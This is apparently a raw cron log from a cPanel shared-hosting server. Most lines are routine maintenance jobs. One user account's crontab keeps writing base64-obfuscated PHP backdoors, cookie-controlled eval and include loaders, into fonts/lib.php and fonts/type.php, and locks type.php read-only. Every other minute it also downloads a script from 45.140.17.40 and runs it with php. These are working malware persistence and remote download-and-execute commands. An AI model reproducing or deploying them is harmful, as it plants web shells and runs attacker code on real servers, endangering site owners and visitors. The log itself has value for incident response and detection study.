Sep  8 12:03:01 ip-184-168-122-23 CROND[14331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:04:01 ip-184-168-122-23 CROND[14456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:04:01 ip-184-168-122-23 CROND[14458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:04:01 ip-184-168-122-23 CROND[14461]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:04:01 ip-184-168-122-23 CROND[14460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:04:01 ip-184-168-122-23 CROND[14465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:05:01 ip-184-168-122-23 CROND[14733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:05:01 ip-184-168-122-23 CROND[14731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:05:01 ip-184-168-122-23 CROND[14732]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 12:05:01 ip-184-168-122-23 CROND[14739]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 12:05:01 ip-184-168-122-23 CROND[14742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:05:01 ip-184-168-122-23 CROND[14743]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 12:05:01 ip-184-168-122-23 CROND[14744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:06:01 ip-184-168-122-23 CROND[14968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:06:01 ip-184-168-122-23 CROND[14970]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:06:01 ip-184-168-122-23 CROND[14972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:06:01 ip-184-168-122-23 CROND[14974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:06:01 ip-184-168-122-23 CROND[14975]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:07:01 ip-184-168-122-23 CROND[15271]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:07:01 ip-184-168-122-23 CROND[15275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:07:01 ip-184-168-122-23 CROND[15274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:07:01 ip-184-168-122-23 CROND[15277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:08:01 ip-184-168-122-23 CROND[15642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:08:01 ip-184-168-122-23 CROND[15643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:08:01 ip-184-168-122-23 CROND[15646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:08:01 ip-184-168-122-23 CROND[15647]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:08:01 ip-184-168-122-23 CROND[15648]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:09:01 ip-184-168-122-23 CROND[15778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:09:01 ip-184-168-122-23 CROND[15777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:09:01 ip-184-168-122-23 CROND[15782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:09:01 ip-184-168-122-23 CROND[15786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:09:01 ip-184-168-122-23 CROND[15787]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 12:10:01 ip-184-168-122-23 CROND[16039]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 12:10:01 ip-184-168-122-23 CROND[16041]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:10:01 ip-184-168-122-23 CROND[16042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:10:01 ip-184-168-122-23 CROND[16045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:10:01 ip-184-168-122-23 CROND[16047]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 12:10:01 ip-184-168-122-23 CROND[16048]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:10:01 ip-184-168-122-23 CROND[16044]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 12:10:01 ip-184-168-122-23 CROND[16046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:11:01 ip-184-168-122-23 CROND[16285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:11:01 ip-184-168-122-23 CROND[16287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:11:01 ip-184-168-122-23 CROND[16288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:11:01 ip-184-168-122-23 CROND[16289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:12:02 ip-184-168-122-23 CROND[16489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:12:02 ip-184-168-122-23 CROND[16490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:12:02 ip-184-168-122-23 CROND[16491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:12:02 ip-184-168-122-23 CROND[16492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:12:02 ip-184-168-122-23 CROND[16494]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:13:01 ip-184-168-122-23 CROND[16699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:13:01 ip-184-168-122-23 CROND[16697]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:13:01 ip-184-168-122-23 CROND[16700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:13:01 ip-184-168-122-23 CROND[16698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:14:01 ip-184-168-122-23 CROND[16892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:14:01 ip-184-168-122-23 CROND[16893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:14:01 ip-184-168-122-23 CROND[16894]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:14:01 ip-184-168-122-23 CROND[16895]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:14:01 ip-184-168-122-23 CROND[16898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:15:01 ip-184-168-122-23 CROND[17146]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  8 12:15:01 ip-184-168-122-23 CROND[17145]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 12:15:01 ip-184-168-122-23 CROND[17148]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 12:15:01 ip-184-168-122-23 CROND[17151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
